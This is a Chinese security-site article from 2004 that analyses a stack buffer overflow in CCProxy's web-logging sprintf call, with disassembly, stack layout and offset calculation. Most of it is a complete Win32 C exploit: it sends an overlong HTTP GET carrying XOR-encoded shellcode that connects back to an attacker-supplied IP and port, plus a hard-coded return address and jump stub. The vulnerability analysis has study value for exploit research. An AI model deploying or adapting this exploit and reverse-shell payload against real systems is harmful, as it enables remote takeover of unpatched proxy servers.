首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
CCProxy Log Stack Overflow 漏洞浅析
来源:ruder.cdut.net 作者:ruder 发布时间:2004-11-06  

CCProxy Log Stack Overflow 漏洞浅析(11/2004)
//原文在https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=42620
written by Ruder
Homepage:http://ruder.cdut.net
Email:cocoruder@163.com


最近忙找工作郁闷到了,第一次写溢出漏洞分析,高手就省略吧,想借地方请教高手们一般如何挖掘溢出,偶写个Exploit就这么郁闷,真难以想象。
言归正传,这个漏洞发生在CCProxy写Web日志的时候,在日志内容格式化输出的时候没有检查日志内容的长度,而日志内容是由我们访问者提交的因而导致堆栈溢出,下面是有问题的代码。

.text:0040B14E push edx
.text:0040B14F push eax
.text:0040B150 lea ecx, [esp+28h+arg_528]
.text:0040B157 push offset a04d02d02d02d02 ; "%04d-%02d-%02d %02d:%02d:%02d"
.text:0040B15C push ecx
.text:0040B15D call _sprintf
.text:0040B162 lea edx, [esp+30h+arg_528]
.text:0040B169 push ebx
.text:0040B16A push edx
.text:0040B16B lea eax, [esp+38h+wParam]
.text:0040B172 push offset aSS ; "[%s] %s" ;格式化字符
.text:0040B177 push eax ;目标缓冲区A
.text:0040B178 call _sprintf ;问题函数未做任何检查直接拷贝
.text:0040B17D add esp, 30h
.text:0040B180 push offset CriticalSection ; lpCriticalSection
.text:0040B185 call ds:EnterCriticalSection
.text:0040B18B call ?AfxGetThread@@YGPAVCWinThread@@XZ ; AfxGetThread

初步分析在要执行_sprintf函数时堆栈的情况如下
esp ;目标缓冲区A---日志内容
esp+0x4 ;"[%s] %s"
esp+0x8 ;日期-时间字符串地址
esp+0xc ;"访问者IP"+" unknown Web"
;比如我的IP是127.0.0.1就是
;Point to "127.0.0.1 unknown Web"
esp+0x10 ;和esp+0x8一样?
esp+0x14 ;Point to "%04d-%02d-%02d %02d:%02d:%02d"
esp+0x18 ;年
esp+0x1c ;月
esp+0x20 ;日
esp+0x24 ;时
esp+0x28 ;分
esp+0x2c ;秒

_sprintf函数执行后向[esp]中写入
[2004-11-02 16:47:36] 127.0.0.1 unknown Web GET /AAAAAAAAAAAAA....
之类的内容,其中GET /AAAAAAAAAAAAAAAAAA是我们提交的数据,可见长度与访问者
IP长度有关

经分析以上代码属于sub_40B020函数,sub_40b020函数的返回地址-目标缓冲区A=0x1004
下面计算覆盖返回地址填充的长度(设为OverLen),设IP长度为IPLen
strlen("[2004-11-02 16:47:36] ")+IPLen+strlen(" unknown Web ")+OverLen=0x1004
==>
OverLen=4065-IPLen


由此可写出Exploit,下面是偶从网上copy改了下的:)
在Win2000 Server sp4 CN上测试通过

#include <stdio.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib, "ws2_32")


unsigned char EndChar[]=
"x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A";
//结束标志 HTTP/1.0

unsigned char shellcode[] =
"xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05"

"xe8xedxffxffxff"

/* 254 bytes shellcode, xor with 0xee */
/* offset 92=IP offset 99=PORT*/
"x07x36xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65"

"x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeexee"

"x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b"

"x84xedxb7x06x8exeexeexeex0cx17xbfxbfxbfxbfx84xef"

"x84xecx11xb8xfex7dx86x91xeexeexefx86xecxeexeexdb"

"x65x02x84xfexbbxbdx11xb8xfax6bx2ex9bxd6x65x12x84"

"xfcxb7x45x0cx13x88x29xaaxcaxd2xefxefx7dx45x45x45"

"x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf"

"xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11"

"xb8xe2x11xb8xf6x11xb8xe6xbfxb8x65x9bxd2x65x9axc0"

"x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b"

"xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xaex05"

"x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65"

"xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11"

"x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37"

"xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97";

/*
整个构造好的溢出串如下:
+------------------------------------------------------------------------------+
|前导字符|inc edx...inc edx|shellcode|0x7ffa54cd|跳转指令|结束字符|
+------------------------------------------------------------------------------+
前导字符长度+0x42个数+shellcode长度+IPLen(本地IP字符串长度)=4065

跳转指令:
mov ecx,0x12811111
shr ecx,0x14
sub esp,ecx
jmp esp

我刚写的时候出了几个问题,写出来希望对大家有帮助
1.前导字符和结束字符一定要准确无误,不然会被认为是未知连接请求
2.真正写的时候可适当放大ecx的值使之跳转到inc edx里面
*/

void start(void)
{
printf("CCProxy Log Stack Overflow Exploit!n");
printf("written by Ruder 11/2004n");
printf("Bug found by Isno,See xfocus.comn");
printf("Homepage:http://ruder.cdut.netn";);
printf("E-mail:cocoruder@163.comn");
}

int main(int argc, char *argv[])
{
WSADATA wsd;
SOCKET sClient;
int ret, i,tmp;
struct sockaddr_in server,local;
struct hostent *host = NULL;
int IPLen;
int a;
char buff[4096] = {0};
char *IPStr;
u_short tmp1;
char *PORTStr;

start();

if(argc != 5)
{
printf("usage: %s target port backIP backPortn", argv[0]);
exit(1);
}

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!n");
return 1;
}

sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %dn", WSAGetLastError());
return 1;
}

//更新shellcode返回地址,端口
tmp=inet_addr(argv[3]);
a=(DWORD)&tmp; //地址
IPStr=(char*)a;

shellcode[92]=IPStr[0]^0xee; //IP
shellcode[93]=IPStr[1]^0xee;
shellcode[94]=IPStr[2]^0xee;
shellcode[95]=IPStr[3]^0xee;

tmp1=htons((u_short)atoi(argv[4]));
a=(DWORD)&tmp1;
PORTStr=(char*)a;

shellcode[99]=PORTStr[0]^0xee; //PORT
shellcode[100]=PORTStr[1]^0xee;

server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if (server.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if (host == NULL)
{
printf("Unable to resolve server: %sn", argv[1]);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length);
}

//连接到目标主机
if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
{
printf("connect() failed: %dn", WSAGetLastError());
return 1;
}

//下面开始构造溢出串
a=sizeof(sockaddr_in);

//本地IP字符串长度
if (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR)
{
printf("getsockname() failed: %dn", WSAGetLastError());
return 1;
}
IPLen=strlen(inet_ntoa(local.sin_addr));


//前导字符
buff[0]=0x47;
buff[1]=0x45;
buff[2]=0x54;
buff[3]=0x20;
buff[4]=0x2F;

//填充INC EDX
//计算填充0x42的个数
tmp=4065-sizeof(shellcode)-5-IPLen+1;
for(i=5;i<tmp+5;i++)
{
buff[i]=0x42;
}

CopyMemory(&buff[i],shellcode,sizeof(shellcode));
i=i+sizeof(shellcode)-1;

buff[i]=0xCD;
buff[i+1]=0x54;
buff[i+2]=0xFA;
buff[i+3]=0x7F;

i=i+4;
//跳转指令
buff[i++]=0xB9;
buff[i++]=0x11;
buff[i++]=0x11;
buff[i++]=0x81;
buff[i++]=0x12;
buff[i++]=0xC1;
buff[i++]=0xE9;
buff[i++]=0x14;
buff[i++]=0x2B;
buff[i++]=0xE1;
buff[i++]=0xFF;
buff[i++]=0xE4;

//结束字符
CopyMemory(&buff[i],EndChar,sizeof(EndChar));
i=i+sizeof(EndChar);

ret=send(sClient,buff,i-1,0);

printf("send... buffer ok!good luck!n");

closesocket(sClient);
WSACleanup();
return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·Windows CE初探
·IE IFRAM 漏洞的简单分析和临时
·Transact_SQL小手册,适合初学者
·Win32平台格式化串漏洞利用技术
·避免竞争条件
·漠漠孤云尽成雨--浅谈CGI脚本安
·应用层截包方案与实现
·线程调度的监视
·CLR 中代码访问安全检测实现原理
·find socket - extreme way
·如何防止Flash跨站攻击弹出IE窗
·小议脚本变形
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved